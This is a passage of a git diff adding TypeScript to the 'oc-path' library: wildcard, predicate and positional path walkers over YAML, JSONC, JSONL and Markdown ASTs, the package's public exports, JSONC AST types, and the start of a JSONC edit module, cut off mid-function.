readonly SlotSub[], + onMatch: (subs: readonly SlotSub[]) => void, +): void { + // P-031 / P-033 (substrate pitfall taxonomy — see + // `oc-paths-substrate/PITFALLS.md`) — depth cap kills runaway + // recursion from `**` over deeply nested ASTs and from yaml-anchor + // cycles (a cycle just makes recursion unbounded). Cap is liberal + // (256) — real workspaces top out around 50 — and covers both + // pitfalls with one defense. + if (walked.length > MAX_TRAVERSAL_DEPTH) { + throw new OcPathError( + `findOcPaths exceeded MAX_TRAVERSAL_DEPTH (${MAX_TRAVERSAL_DEPTH}) — likely a cycle or pathological pattern`, + '', + 'OC_PATH_DEPTH_EXCEEDED', + ); + } + // Out of pattern → emit at whatever node we landed on. + if (i >= subs.length) { + onMatch(walked); + return; + } + if (node === null) {return;} + let cur = subs[i]; + + // Union `{a,b,c}` — fan out into one walk per alternative. Each + // alternative replaces `cur.value` with the chosen literal. + if (isUnionSeg(cur.value)) { + const alts = parseUnionSeg(cur.value); + if (alts === null) {return;} + for (const alt of alts) { + const altSubs = subs.slice(); + altSubs[i] = { slot: cur.slot, value: alt }; + walkYaml(node, altSubs, i, walked, onMatch); + } + return; + } + + // Predicate `[keyvalue]` — like wildcard, but emit only children + // whose `key` field matches the predicate. + if (isPredicateSeg(cur.value)) { + const pred = parsePredicateSeg(cur.value); + if (pred === null) {return;} + if (isMap(node)) { + for (const pair of (node as { items: Pair[] }).items) { + const k = isScalar(pair.key) ? String(pair.key.value) : String(pair.key); + const childVal = pair.value as Node; + if (yamlChildMatchesPredicate(childVal, pred)) { + walkYaml(childVal, subs, i + 1, [...walked, { slot: cur.slot, value: quoteSeg(k) }], onMatch); + } + } + } else if (isSeq(node)) { + (node as { items: Node[] }).items.forEach((child, idx) => { + if (yamlChildMatchesPredicate(child, pred)) { + walkYaml(child, subs, i + 1, [...walked, { slot: cur.slot, value: String(idx) }], onMatch); + } + }); + } + return; + } + + // Positional tokens (`$first` / `$last` / `-N`) → resolve to a + // single concrete segment and descend as if the pattern had carried + // that literal. Walker then continues with the concrete value, so + // emitted paths carry the resolved index/key. + if (isPositionalSeg(cur.value)) { + const concrete = positionalForYamlNode(node, cur.value); + if (concrete === null) {return;} + cur = { slot: cur.slot, value: concrete }; + } + + // `**` — match 0 or more segments. + if (cur.value === WILDCARD_RECURSIVE) { + // 0-match: skip past `**`, retry pattern at this node. + walkYaml(node, subs, i + 1, walked, onMatch); + // 1+ match: descend one step, stay on this `**` slot. + if (isMap(node)) { + for (const pair of (node as { items: Pair[] }).items) { + const k = isScalar(pair.key) ? String(pair.key.value) : String(pair.key); + walkYaml(pair.value as Node, subs, i, [...walked, { slot: cur.slot, value: quoteSeg(k) }], onMatch); + } + } else if (isSeq(node)) { + (node as { items: Node[] }).items.forEach((child, idx) => { + walkYaml(child, subs, i, [...walked, { slot: cur.slot, value: String(idx) }], onMatch); + }); + } + return; + } + + // `*` — match exactly one segment. + if (cur.value === WILDCARD_SINGLE) { + if (isMap(node)) { + for (const pair of (node as { items: Pair[] }).items) { + const k = isScalar(pair.key) ? String(pair.key.value) : String(pair.key); + walkYaml(pair.value as Node, subs, i + 1, [...walked, { slot: cur.slot, value: quoteSeg(k) }], onMatch); + } + } else if (isSeq(node)) { + (node as { items: Node[] }).items.forEach((child, idx) => { + walkYaml(child, subs, i + 1, [...walked, { slot: cur.slot, value: String(idx) }], onMatch); + }); + } + return; + } + + // Literal — descend exactly into the matching key/index. + // Literal lookup — quoted segments unwrap to their literal key form. + const literal = isQuotedSeg(cur.value) ? unquoteSeg(cur.value) : cur.value; + if (isMap(node)) { + const pair = (node as { items: Pair[] }).items.find((p) => { + const k = isScalar(p.key) ? String(p.key.value) : String(p.key); + return k === literal; + }); + if (pair === undefined) {return;} + walkYaml( + pair.value as Node, + subs, + i + 1, + [...walked, { slot: cur.slot, value: cur.value }], + onMatch, + ); + return; + } + if (isSeq(node)) { + const idx = Number(literal); + if (!Number.isInteger(idx) || idx < 0 || idx >= (node as { items: Node[] }).items.length) {return;} + walkYaml( + (node as { items: Node[] }).items[idx], + subs, + i + 1, + [...walked, { slot: cur.slot, value: cur.value }], + onMatch, + ); + return; + } +} + +// ---------- JSONC walker --------------------------------------------------- + +function walkJsonc( + node: JsoncValue, + subs: readonly PatternSub[], + i: number, + walked: readonly SlotSub[], + onMatch: (subs: readonly SlotSub[]) => void, +): void { + if (walked.length > MAX_TRAVERSAL_DEPTH) { + throw new OcPathError( + `findOcPaths exceeded MAX_TRAVERSAL_DEPTH (${MAX_TRAVERSAL_DEPTH}) — likely a pathological pattern`, + '', + 'OC_PATH_DEPTH_EXCEEDED', + ); + } + if (i >= subs.length) { + onMatch(walked); + return; + } + let cur = subs[i]; + + if (isUnionSeg(cur.value)) { + const alts = parseUnionSeg(cur.value); + if (alts === null) {return;} + for (const alt of alts) { + const altSubs = subs.slice(); + altSubs[i] = { slot: cur.slot, value: alt }; + walkJsonc(node, altSubs, i, walked, onMatch); + } + return; + } + + if (isPredicateSeg(cur.value)) { + const pred = parsePredicateSeg(cur.value); + if (pred === null) {return;} + if (node.kind === 'object') { + for (const e of node.entries) { + if (jsoncChildMatchesPredicate(e.value, pred)) { + walkJsonc(e.value, subs, i + 1, [...walked, { slot: cur.slot, value: quoteSeg(e.key) }], onMatch); + } + } + } else if (node.kind === 'array') { + node.items.forEach((child, idx) => { + if (jsoncChildMatchesPredicate(child, pred)) { + walkJsonc(child, subs, i + 1, [...walked, { slot: cur.slot, value: String(idx) }], onMatch); + } + }); + } + return; + } + + if (isPositionalSeg(cur.value)) { + const concrete = positionalForJsoncNode(node, cur.value); + if (concrete === null) {return;} + cur = { slot: cur.slot, value: concrete }; + } + + if (cur.value === WILDCARD_RECURSIVE) { + walkJsonc(node, subs, i + 1, walked, onMatch); + if (node.kind === 'object') { + for (const e of node.entries) { + walkJsonc(e.value, subs, i, [...walked, { slot: cur.slot, value: quoteSeg(e.key) }], onMatch); + } + } else if (node.kind === 'array') { + node.items.forEach((child, idx) => { + walkJsonc(child, subs, i, [...walked, { slot: cur.slot, value: String(idx) }], onMatch); + }); + } + return; + } + + if (cur.value === WILDCARD_SINGLE) { + if (node.kind === 'object') { + for (const e of node.entries) { + walkJsonc(e.value, subs, i + 1, [...walked, { slot: cur.slot, value: quoteSeg(e.key) }], onMatch); + } + } else if (node.kind === 'array') { + node.items.forEach((child, idx) => { + walkJsonc(child, subs, i + 1, [...walked, { slot: cur.slot, value: String(idx) }], onMatch); + }); + } + return; + } + + if (node.kind === 'object') { + // `cur.value` may be a quoted segment (e.g. `"a/b"`); AST entry + // keys are already unquoted. Strip the quotes before comparing + // so the find-expansion walker matches `resolveJsoncOcPath`'s + // unquoting behavior — closes the resolve-vs-find asymmetry + // flagged on PR #78678. + const lookupKey = isQuotedSeg(cur.value) ? unquoteSeg(cur.value) : cur.value; + const e = node.entries.find((entry) => entry.key === lookupKey); + if (e === undefined) {return;} + walkJsonc(e.value, subs, i + 1, [...walked, { slot: cur.slot, value: cur.value }], onMatch); + return; + } + if (node.kind === 'array') { + const idx = Number(cur.value); + if (!Number.isInteger(idx) || idx < 0 || idx >= node.items.length) {return;} + walkJsonc(node.items[idx], subs, i + 1, [...walked, { slot: cur.slot, value: cur.value }], onMatch); + } +} + +// ---------- JSONL walker --------------------------------------------------- + +function walkJsonl( + ast: JsonlAst, + subs: readonly PatternSub[], + i: number, + walked: readonly SlotSub[], + onMatch: (subs: readonly SlotSub[]) => void, +): void { + // Bound recursion at the line-enumeration layer — without this guard, + // a `**` pattern over a 100k-line forensic log dispatches per-line + // walkJsonc (which has its own guard) but the JSONL outer driver has + // no per-walker depth bound. JSONL session logs are exactly the kind + // of file that grows unbounded in production (replay, audit), so + // defense-in-depth at the outer layer mirrors the yaml/jsonc walkers. + if (walked.length > MAX_TRAVERSAL_DEPTH) { + throw new OcPathError( + `findOcPaths exceeded MAX_TRAVERSAL_DEPTH (${MAX_TRAVERSAL_DEPTH}) — likely a pathological JSONL pattern`, + '', + 'OC_PATH_DEPTH_EXCEEDED', + ); + } + if (i >= subs.length) { + onMatch(walked); + return; + } + const cur = subs[i]; + + // Line-address slot — `*` enumerates every value line; `**` adds a + // 0-segment skip in addition to enumerating; literal matches `Lnnn` + // / `$first` / `$last` / `-N` (negative index); union matches each + // alternative; predicate filters by per-line top-level field. + // The first sub MUST address a line; deeper subs walk inside the + // line's JSON value. + if (walked.length === 0) { + if (cur.value === WILDCARD_RECURSIVE) { + // 0-match has no meaning for jsonl (the file root has no leaves); + // every remaining match must include a line. So skip the 0-match + // expansion and only enumerate. + forEachValueLine(ast, (l, addr) => { + walkJsonlInsideLine(l, subs, i, [{ slot: cur.slot, value: addr }], onMatch); + }); + return; + } + if (cur.value === WILDCARD_SINGLE) { + forEachValueLine(ast, (l, addr) => { + walkJsonlInsideLine(l, subs, i + 1, [{ slot: cur.slot, value: addr }], onMatch); + }); + return; + } + if (isUnionSeg(cur.value)) { + // `{L1,L2}` enumerates each alternative independently — yaml / + // jsonc walkers handle union uniformly at every slot, so the + // jsonl line slot must too. Each alternative goes through the + // same single-line resolution as a literal `Lnnn` / `$first` / + // `-N` would (so unions of positional tokens, e.g. `{L1,$last}`, + // work as expected). + const alts = parseUnionSeg(cur.value); + if (alts === null) {return;} + for (const alt of alts) { + const line = pickLine(ast, alt); + if (line === null) {continue;} + const concreteAddr = line.kind === 'value' ? `L${line.line}` : alt; + walkJsonlInsideLine(line, subs, i + 1, [{ slot: cur.slot, value: concreteAddr }], onMatch); + } + return; + } + if (isPredicateSeg(cur.value)) { + // `[event=foo]` filters value lines by the predicate's key/op + // applied to the top-level field of each line's parsed JSON. + // Parsing is structural (no recursion into nested children) — + // a predicate inside a line's body uses the same syntax inside + // the JSONC walker's predicate path. + const pred = parsePredicateSeg(cur.value); + if (pred === null) {return;} + forEachValueLine(ast, (l, addr) => { + if (l.kind !== 'value') {return;} + const actual = topLevelLeafText(l.value, pred.key); + if (!evaluatePredicate(actual, pred)) {return;} + walkJsonlInsideLine(l, subs, i + 1, [{ slot: cur.slot, value: addr }], onMatch); + }); + return; + } + // Positional / Lnnn / literal — pickLine handles all single-line + // addressing tokens. The emitted concrete address is `Lnnn` (the + // canonical line-address form) regardless of how it was looked up. + const line = pickLine(ast, cur.value); + if (line === null) {return;} + const concreteAddr = line.kind === 'value' ? `L${line.line}` : cur.value; + walkJsonlInsideLine(line, subs, i + 1, [{ slot: cur.slot, value: concreteAddr }], onMatch); + return; + } +} + +/** + * Stringify the top-level field's leaf value for predicate evaluation + * at the jsonl line slot. Only string/number/boolean/null leaves + * compare; nested objects/arrays return `null` (predicate doesn't + * match a non-leaf sibling). + */ +function topLevelLeafText(value: JsoncValue, key: string): string | null { + if (value.kind !== 'object') {return null;} + const entry = value.entries.find((e) => e.key === key); + if (entry === undefined) {return null;} + const v = entry.value; + if (v.kind === 'string') {return v.value;} + if (v.kind === 'number' || v.kind === 'boolean') {return String(v.value);} + if (v.kind === 'null') {return null;} + return null; +} + +function walkJsonlInsideLine( + line: JsonlLine, + subs: readonly PatternSub[], + i: number, + walked: readonly SlotSub[], + onMatch: (subs: readonly SlotSub[]) => void, +): void { + // Mirror the outer guard so a hostile pattern that bypasses the + // top-of-walkJsonl path (e.g., reached via direct call from a future + // helper) still lands on the depth bound. walkJsonc inside has its + // own bound, but the slot-sub list extends across both layers — the + // depth check must consider the full `walked` history. + if (walked.length > MAX_TRAVERSAL_DEPTH) { + throw new OcPathError( + `findOcPaths exceeded MAX_TRAVERSAL_DEPTH (${MAX_TRAVERSAL_DEPTH}) — likely a pathological JSONL pattern`, + '', + 'OC_PATH_DEPTH_EXCEEDED', + ); + } + if (i >= subs.length) { + onMatch(walked); + return; + } + if (line.kind !== 'value') {return;} + walkJsonc(line.value, subs, i, walked, onMatch); +} + +function forEachValueLine( + ast: JsonlAst, + visit: (line: JsonlLine, addr: string) => void, +): void { + for (const l of ast.lines) { + if (l.kind === 'value') {visit(l, `L${l.line}`);} + } +} + +function pickLine(ast: JsonlAst, addr: string): JsonlLine | null { + if (addr === '$last') { + for (let i = ast.lines.length - 1; i >= 0; i--) { + const l = ast.lines[i]; + if (l !== undefined && l.kind === 'value') {return l;} + } + return null; + } + if (addr === '$first') { + for (const l of ast.lines) { + if (l.kind === 'value') {return l;} + } + return null; + } + if (/^-\d+$/.test(addr)) { + const valueLines = ast.lines.filter((l): l is Extract => l.kind === 'value'); + const n = valueLines.length + Number(addr); + return n >= 0 && n < valueLines.length ? valueLines[n] : null; + } + const m = /^L(\d+)$/.exec(addr); + if (m === null || m[1] === undefined) {return null;} + const target = Number(m[1]); + for (const l of ast.lines) { + if (l.line === target) {return l;} + } + return null; +} + +// Helpers shared by the walkers above. +function positionalForYamlNode(node: Node, seg: string): string | null { + if (isMap(node)) { + const pairs = (node as { items: Pair[] }).items; + const keys = pairs.map((p) => String(isScalar(p.key) ? p.key.value : p.key)); + return resolvePositionalSeg(seg, { indexable: false, size: keys.length, keys }); + } + if (isSeq(node)) { + const items = (node as { items: Node[] }).items; + return resolvePositionalSeg(seg, { indexable: true, size: items.length }); + } + return null; +} + +function positionalForJsoncNode(node: JsoncValue, seg: string): string | null { + if (node.kind === 'object') { + const keys = node.entries.map((e) => e.key); + return resolvePositionalSeg(seg, { indexable: false, size: keys.length, keys }); + } + if (node.kind === 'array') { + return resolvePositionalSeg(seg, { indexable: true, size: node.items.length }); + } + return null; +} + +// Predicate-evaluation helpers: look up `node[key]` and compare its +// string-coerced leaf value via `evaluatePredicate`. Used by +// `[keyvalue]` filtering in find walkers. +function yamlChildMatchesPredicate(node: Node | null, pred: PredicateSpec): boolean { + return evaluatePredicate(yamlChildFieldText(node, pred.key), pred); +} + +function yamlChildFieldText(node: Node | null, key: string): string | null { + if (node === null) {return null;} + if (!isMap(node)) {return null;} + for (const pair of (node as { items: Pair[] }).items) { + const k = isScalar(pair.key) ? String(pair.key.value) : String(pair.key); + if (k !== key) {continue;} + const v = pair.value; + if (isScalar(v)) { + const sv = v.value; + if (sv === null) {return 'null';} + if (typeof sv === 'string') {return sv;} + if (typeof sv === 'number' || typeof sv === 'boolean') {return String(sv);} + return JSON.stringify(sv) ?? 'null'; + } + return null; + } + return null; +} + +function jsoncChildMatchesPredicate(node: JsoncValue, pred: PredicateSpec): boolean { + return evaluatePredicate(jsoncChildFieldText(node, pred.key), pred); +} + +function jsoncChildFieldText(node: JsoncValue, key: string): string | null { + if (node.kind !== 'object') {return null;} + const e = node.entries.find((entry) => entry.key === key); + if (e === undefined) {return null;} + const v = e.value; + if (v.kind === 'string') {return v.value;} + if (v.kind === 'number') {return String(v.value);} + if (v.kind === 'boolean') {return String(v.value);} + if (v.kind === 'null') {return 'null';} + return null; +} + +// ---------- Markdown walker ----------------------------------------------- + +function walkMd( + ast: MdAst, + subs: readonly PatternSub[], + i: number, + walked: readonly SlotSub[], + onMatch: (subs: readonly SlotSub[]) => void, +): void { + if (i >= subs.length) { + onMatch(walked); + return; + } + const cur = subs[i]; + + // Frontmatter addressing: literal `[frontmatter]` in section slot. + if (walked.length === 0 && cur.value === '[frontmatter]') { + // Next sub addresses a frontmatter key. + const next = subs[i + 1]; + if (next === undefined) { + onMatch([{ slot: cur.slot, value: cur.value }]); + return; + } + if (next.value === WILDCARD_SINGLE || next.value === WILDCARD_RECURSIVE) { + for (const fm of ast.frontmatter) { + onMatch([ + { slot: cur.slot, value: cur.value }, + { slot: next.slot, value: fm.key }, + ]); + } + return; + } + // Same quote-aware lookup as the JSONC walker — frontmatter + // entry keys are unquoted in the AST, so a quoted-segment path + // segment must be unquoted before comparing. + const fmKey = isQuotedSeg(next.value) ? unquoteSeg(next.value) : next.value; + const entry = ast.frontmatter.find((e) => e.key === fmKey); + if (entry === undefined) {return;} + onMatch([ + { slot: cur.slot, value: cur.value }, + { slot: next.slot, value: next.value }, + ]); + return; + } + + // Section slot first. + if (walked.length === 0) { + if (cur.value === WILDCARD_SINGLE || cur.value === WILDCARD_RECURSIVE) { + for (const block of ast.blocks) { + walkMdInsideBlock( + block, + ast, + subs, + i + 1, + [{ slot: cur.slot, value: block.slug }], + onMatch, + ); + // `**` retain-i branch: in addition to descending with `**` + // consumed (i + 1), also descend with `**` still active (i) + // so the next sub can match deeper. Without this, md `**` + // semantics diverged from yaml/jsonc — `oc://X.md/**/value` + // only matched the immediate-block layer and silently missed + // deeper hierarchies (cross-kind asymmetry — same lint rule + // worked on yaml but produced 0 matches on md). + if (cur.value === WILDCARD_RECURSIVE) { + walkMdInsideBlock( + block, + ast, + subs, + i, + [{ slot: cur.slot, value: block.slug }], + onMatch, + ); + } + } + // `**` 0-match: emit at root if any. + if (cur.value === WILDCARD_RECURSIVE && i + 1 >= subs.length) { + onMatch([]); + } + return; + } + const targetSlug = cur.value.toLowerCase(); + const block = ast.blocks.find((b) => b.slug === targetSlug); + if (block === undefined) {return;} + walkMdInsideBlock( + block, + ast, + subs, + i + 1, + [{ slot: cur.slot, value: cur.value }], + onMatch, + ); + } +} + +function walkMdInsideBlock( + block: { readonly items: readonly { readonly slug: string; readonly kv?: { readonly key: string; readonly value: string } }[] }, + ast: MdAst, + subs: readonly PatternSub[], + i: number, + walked: readonly SlotSub[], + onMatch: (subs: readonly SlotSub[]) => void, +): void { + if (i >= subs.length) { + onMatch(walked); + return; + } + const cur = subs[i]; + + // Item slot. + if (cur.value === WILDCARD_SINGLE || cur.value === WILDCARD_RECURSIVE) { + // Disambiguate duplicate slugs via `#N` ordinal addressing so each + // matched path round-trips through `resolveOcPath` to its own item. + const slugCounts = new Map(); + for (const item of block.items) { + slugCounts.set(item.slug, (slugCounts.get(item.slug) ?? 0) + 1); + } + block.items.forEach((item, idx) => { + const seg = (slugCounts.get(item.slug) ?? 0) > 1 ? `#${idx}` : item.slug; + walkMdInsideItem( + item, + ast, + subs, + i + 1, + [...walked, { slot: cur.slot, value: seg }], + onMatch, + ); + }); + if (cur.value === WILDCARD_RECURSIVE && i + 1 >= subs.length) { + onMatch(walked); + } + return; + } + // Ordinal `#N` and positional `$first`/`$last`/`-N` short-circuit the + // slug lookup — the resolver handles them, so the find walker just + // descends into the appropriate item. + let item: { readonly slug: string; readonly kv?: { readonly key: string; readonly value: string } } | undefined; + if (isOrdinalSeg(cur.value)) { + const n = parseOrdinalSeg(cur.value); + if (n === null || n < 0 || n >= block.items.length) {return;} + item = block.items[n]; + } else if (isPositionalSeg(cur.value)) { + const concrete = resolvePositionalSeg(cur.value, { + indexable: true, + size: block.items.length, + }); + if (concrete === null) {return;} + item = block.items[Number(concrete)]; + } else { + const targetItemSlug = cur.value.toLowerCase(); + item = block.items.find((it) => it.slug === targetItemSlug); + } + if (item === undefined) {return;} + walkMdInsideItem(item, ast, subs, i + 1, [...walked, { slot: cur.slot, value: cur.value }], onMatch); +} + +function walkMdInsideItem( + item: { readonly kv?: { readonly key: string; readonly value: string } }, + _ast: MdAst, + subs: readonly PatternSub[], + i: number, + walked: readonly SlotSub[], + onMatch: (subs: readonly SlotSub[]) => void, +): void { + if (i >= subs.length) { + onMatch(walked); + return; + } + const cur = subs[i]; + // Field slot — addresses kv.key (case-insensitive). + if (item.kv === undefined) {return;} + if (cur.value === WILDCARD_SINGLE || cur.value === WILDCARD_RECURSIVE) { + onMatch([...walked, { slot: cur.slot, value: item.kv.key }]); + return; + } + if (item.kv.key.toLowerCase() !== cur.value.toLowerCase()) {return;} + onMatch([...walked, { slot: cur.slot, value: cur.value }]); +} + diff --git a/src/oc-path/index.ts b/src/oc-path/index.ts new file mode 100644 index 00000000000..b7b3410be24 --- /dev/null +++ b/src/oc-path/index.ts @@ -0,0 +1,133 @@ +/** + * `@openclaw/oc-path` — substrate package public surface. + * + * **Strategic frame**: workspace files are byte-stable and addressable + * via the `oc://` scheme — the addressing scheme is universal across + * file kinds (md / jsonc / jsonl / yaml). Encoding (parse/emit) is + * per-kind; addressing (resolve/set) is universal. + * + * **Public verbs**: + * - One `setOcPath(ast, path, value)` — universal, kind-dispatched + * - One `resolveOcPath(ast, path)` — universal, kind-dispatched + * - Per-kind `parseXxx` / `emitXxx` (parsing IS per-kind by nature) + * + * `setOcPath` accepts a string value; the substrate coerces based on + * AST shape at the path location. The OcPath syntax encodes the + * operation: plain path = leaf set, `+` suffix = insertion. + * + * Per-kind set/resolve helpers exist as internal implementation; they + * aren't on the public surface. Callers don't need to pick a kind — + * the AST carries its `kind` discriminator and the universal verbs + * dispatch internally. + * + * @module @openclaw/oc-path + */ + +/** + * SDK version this build of `@openclaw/oc-path` exposes. Bumped on + * every breaking change to AST shape, OcPath syntax, or universal + * verbs (`resolveOcPath`, `setOcPath`, `findOcPaths`, `parseXxx`, + * `emitXxx`). Plugin packs that depend on the substrate declare the + * version they were authored against and the host warns on mismatch. + */ +export const SDK_VERSION = '0.1.0'; + +// AST types +export type { + AstBlock, + AstCodeBlock, + AstItem, + AstTable, + Diagnostic, + FrontmatterEntry, + ParseResult, + MdAst, +} from './ast.js'; +export type { JsoncAst, JsoncEntry, JsoncValue } from './jsonc/ast.js'; +export type { JsonlAst, JsonlLine } from './jsonl/ast.js'; +export type { YamlAst } from './yaml/ast.js'; + +// OcPath types + parser/formatter +export type { + OcPath, + PathSegmentLayout, + PositionalContainer, + PredicateSpec, +} from './oc-path.js'; +// Public OcPath surface — what plugin authors and callers use. +export { + MAX_PATH_LENGTH, + MAX_SUB_SEGMENTS_PER_SLOT, + MAX_TRAVERSAL_DEPTH, + OcPathError, + POS_FIRST, + POS_LAST, + WILDCARD_RECURSIVE, + WILDCARD_SINGLE, + formatOcPath, + hasWildcard, + isOrdinalSeg, + isPattern, + isPositionalSeg, + isPredicateSeg, + isQuotedSeg, + isUnionSeg, + isValidOcPath, + parseOcPath, +} from './oc-path.js'; + +// `evaluatePredicate`, `getPathLayout`, `parseOrdinalSeg`, +// `parsePredicateSeg`, `parseUnionSeg`, `quoteSeg`, `unquoteSeg`, +// `repackPath`, `resolvePositionalSeg`, `splitRespectingBrackets` +// were exported from earlier prototypes. They're substrate-internal +// helpers — used by `find.ts`, the per-kind resolvers, and the parser +// itself, but not part of the upstream-portable public surface. +// Callers that need their behavior should round-trip through +// `parseOcPath` / `formatOcPath` / `findOcPaths`. + +// Per-kind parse / emit (encoding is genuinely per-kind) +export { parseMd } from './parse.js'; +export { parseJsonc } from './jsonc/parse.js'; +export { parseJsonl } from './jsonl/parse.js'; +export { parseYaml } from './yaml/parse.js'; +export type { JsoncParseResult } from './jsonc/parse.js'; +export type { JsonlParseResult } from './jsonl/parse.js'; +export type { YamlParseResult } from './yaml/parse.js'; + +export type { EmitOptions } from './emit.js'; +export { emitMd, markDirty } from './emit.js'; +export type { JsoncEmitOptions } from './jsonc/emit.js'; +export { emitJsonc } from './jsonc/emit.js'; +export type { JsonlEmitOptions } from './jsonl/emit.js'; +export { emitJsonl } from './jsonl/emit.js'; +export type { YamlEmitOptions } from './yaml/emit.js'; +export { emitYaml } from './yaml/emit.js'; + +// Universal verbs — the only public resolve / set on the surface. +export type { + OcAst, + OcMatch, + LeafType, + NodeDescriptor, + ContainerKind, + SetResult, + InsertionInfo, +} from './universal.js'; +export { resolveOcPath, setOcPath, detectInsertion } from './universal.js'; + +// Multi-match search verb — the wildcard-accepting cousin of resolve. +export type { OcPathMatch } from './find.js'; +export { findOcPaths } from './find.js'; + +// Cross-kind utility — filename → kind hint. +export { inferKind } from './dispatch.js'; +export type { OcKind } from './dispatch.js'; + +// Sentinel guard +export { OcEmitSentinelError, REDACTED_SENTINEL, guardSentinel } from './sentinel.js'; + +// Slug helper +export { slugify } from './slug.js'; + +// Workspace manifest is a separate concern (filesystem classifier); +// it's not part of this PR's scope. diff --git a/src/oc-path/jsonc/ast.ts b/src/oc-path/jsonc/ast.ts new file mode 100644 index 00000000000..d7343ef3d9d --- /dev/null +++ b/src/oc-path/jsonc/ast.ts @@ -0,0 +1,49 @@ +/** + * JSONC AST types — the addressing skeleton for JSONC files (gateway + * config, plugin manifests, JSON-with-comments artifacts). + * + * **Per-kind discriminator**: every AST in this substrate carries a + * `kind` field. The OcPath resolver dispatches on `kind` so md / jsonc + * / json / jsonl can share one resolver entry point. + * + * **Byte-fidelity**: `raw` is preserved on the root for round-trip + * emit. The minimal prototype parser doesn't preserve every formatting + * detail in the structural tree — for production, a fuller + * comment-preserving parser ports from `openclaw-workspace`. + * + * @module @openclaw/oc-path/jsonc/ast + */ + +/** The root JSONC AST. `raw` round-trips byte-identical via emit. */ +export interface JsoncAst { + readonly kind: 'jsonc'; + readonly raw: string; + /** Parsed value tree, or `null` if the file is empty / unparseable. */ + readonly root: JsoncValue | null; +} + +/** + * A JSONC value node — discriminated union over the standard JSON kinds. + * + * `line` is the 1-based line where the value's literal token starts + * (the `{`, `[`, opening `"`, or first digit). The parser always sets + * it; synthetic constructions (mutations, fixtures) may omit it and + * consumers fall back to 1 / parent line. Optional rather than + * required so test fixtures and externally-constructed values stay + * concise. + */ +export type JsoncValue = + | { readonly kind: 'object'; readonly entries: readonly JsoncEntry[]; readonly line?: number } + | { readonly kind: 'array'; readonly items: readonly JsoncValue[]; readonly line?: number } + | { readonly kind: 'string'; readonly value: string; readonly line?: number } + | { readonly kind: 'number'; readonly value: number; readonly line?: number } + | { readonly kind: 'boolean'; readonly value: boolean; readonly line?: number } + | { readonly kind: 'null'; readonly line?: number }; + +/** Object key/value entry. Keys are unquoted; quoting happens at emit. */ +export interface JsoncEntry { + readonly key: string; + readonly value: JsoncValue; + /** 1-based line number of the key. */ + readonly line: number; +} diff --git a/src/oc-path/jsonc/edit.ts b/src/oc-path/jsonc/edit.ts new file mode 100644 index 00000000000..a05e3109575 --- /dev/null +++ b/src/oc-path/jsonc/edit.ts @@ -0,0 +1,184 @@ +/** + * Mutate a `JsoncAst` at an OcPath. Returns a new AST with the value + * replaced; the original AST is unchanged. + * + * **Why immutable**: callers can hold the pre-edit AST for diffing / + * audit while applying the edit. Plays well with LKG observe (compare + * pre vs post fingerprints). + * + * # Known limitation: trivia loss after edit (tracked as follow-up) + * + * `setJsoncOcPath` rebuilds `ast.raw` via `emitJsonc({mode:'render'})`, + * which RE-SERIALIZES the structural tree. **Comments, blank lines, + * key-order whitespace, and trailing-comma style are dropped** in the + * post-edit `raw`. This is the cost of edit-then-emit in the prototype. + * + * The byte-fidelity guarantee in this PR applies to the **read path** + * (`parseJsonc → emitJsonc` round-trip) — that's exercised by the + * `jsonc-byte-fidelity` scenario test and holds byte-identical for + * arbitrary input. The **write path** (`parseJsonc → setJsoncOcPath → + * emitJsonc`) loses trivia. + * + * Why we ship as-is: a comment-preserving editor needs the parser to + * track byte offsets per node, plus splice-aware mutation logic. That + * is its own lift. The follow-up adds parser offsets and a byte-splice + * editor; existing callers that need post-edit byte fidelity should + * patch `raw` directly until then. + * + * @module @openclaw/oc-path/jsonc/edit + */ + +import type { OcPath } from '../oc-path.js'; +import { + isPositionalSeg, + isQuotedSeg, + resolvePositionalSeg, + splitRespectingBrackets, + unquoteSeg, +} from '../oc-path.js'; +import type { JsoncAst, JsoncEntry, JsoncValue } from './ast.js'; +import { emitJsonc } from './emit.js'; + +export type JsoncEditResult = + | { readonly ok: true; readonly ast: JsoncAst } + | { readonly ok: false; readonly reason: 'unresolved' | 'no-root' }; + +/** + * Replace the value at `path` with `newValue`. Returns the new AST or + * a structured failure reason. Numeric segments index into arrays. + */ +export function setJsoncOcPath( + ast: JsoncAst, + path: OcPath, + newValue: JsoncValue, +): JsoncEditResult { + if (ast.root === null) {return { ok: false, reason: 'no-root' };} + + // Use bracket/brace/quote-aware split so that quoted segments + // (e.g. `"anthropic/claude-opus-4-7"`) — which can contain dots, + // slashes, and other punctuation verbatim — survive as one segment. + // Plain `.split('.')` would shred them and break the round-trip with + // `resolveJsoncOcPath`, which already respects quoting. Closes the + // resolve-vs-edit asymmetry flagged on PR #78678. + const segments: string[] = []; + if (path.section !== undefined) {segments.push(...splitRespectingBrackets(path.section, '.'));} + if (path.item !== undefined) {segments.push(...splitRespectingBrackets(path.item, '.'));} + if (path.field !== undefined) {segments.push(...splitRespectingBrackets(path.field, '.'));} + + // Empty path — replace the root. + if (segments.length === 0) { + const next = { ...ast, root: newValue }; + return { ok: true, ast: rebuildRaw(next, path.file) }; + } + + const replaced = replaceAt(ast.root, segments, 0, newValue); + if (replaced === null) {return { ok: false, reason: 'unresolved' };} + const next = { ...ast, root: replaced }; + return { ok: true, ast: rebuildRaw(next, path.file) }; +} + +function replaceAt( + current: JsoncValue, + segments: readonly string[], + i: number, + newValue: JsoncValue, +): JsoncValue | null { + const seg = segments[i]; + if (seg === undefined) {return newValue;} + if (seg.length === 0) {return null;} + + if (current.kind === 'object') { + // Resolve positional tokens ($first / $last) against the entries + // ordered key list before any literal-key comparison. Without + // this, `oc://x.jsonc/agents/$first/alias` would look for a key + // literally named `$first` and miss the actual first agent. + // Negative indices (-N) don't apply to keyed containers and + // resolvePositionalSeg returns null in that case → unresolved. + let segNorm: string = seg; + if (isPositionalSeg(seg)) { + const resolved = resolvePositionalSeg(seg, { + indexable: false, + size: current.entries.length, + keys: current.entries.map((e) => e.key), + }); + if (resolved === null) {return null;} + segNorm = resolved; + } + // Quoted segments (e.g. `"anthropic/claude-opus-4-7"`) carry the + // raw bytes verbatim; the entry key in the AST is unquoted, so + // strip the surrounding quotes before comparing. Bare segments + // pass through unchanged. + const lookupKey = isQuotedSeg(segNorm) ? unquoteSeg(segNorm) : segNorm; + const idx = current.entries.findIndex((e) => e.key === lookupKey); + if (idx === -1) {return null;} + const child = current.entries[idx]; + if (child === undefined) {return null;} + const replacedChild = replaceAt(child.value, segments, i + 1, newValue); + if (replacedChild === null) {return null;} + const newEntry: JsoncEntry = { ...child, value: replacedChild }; + const newEntries = 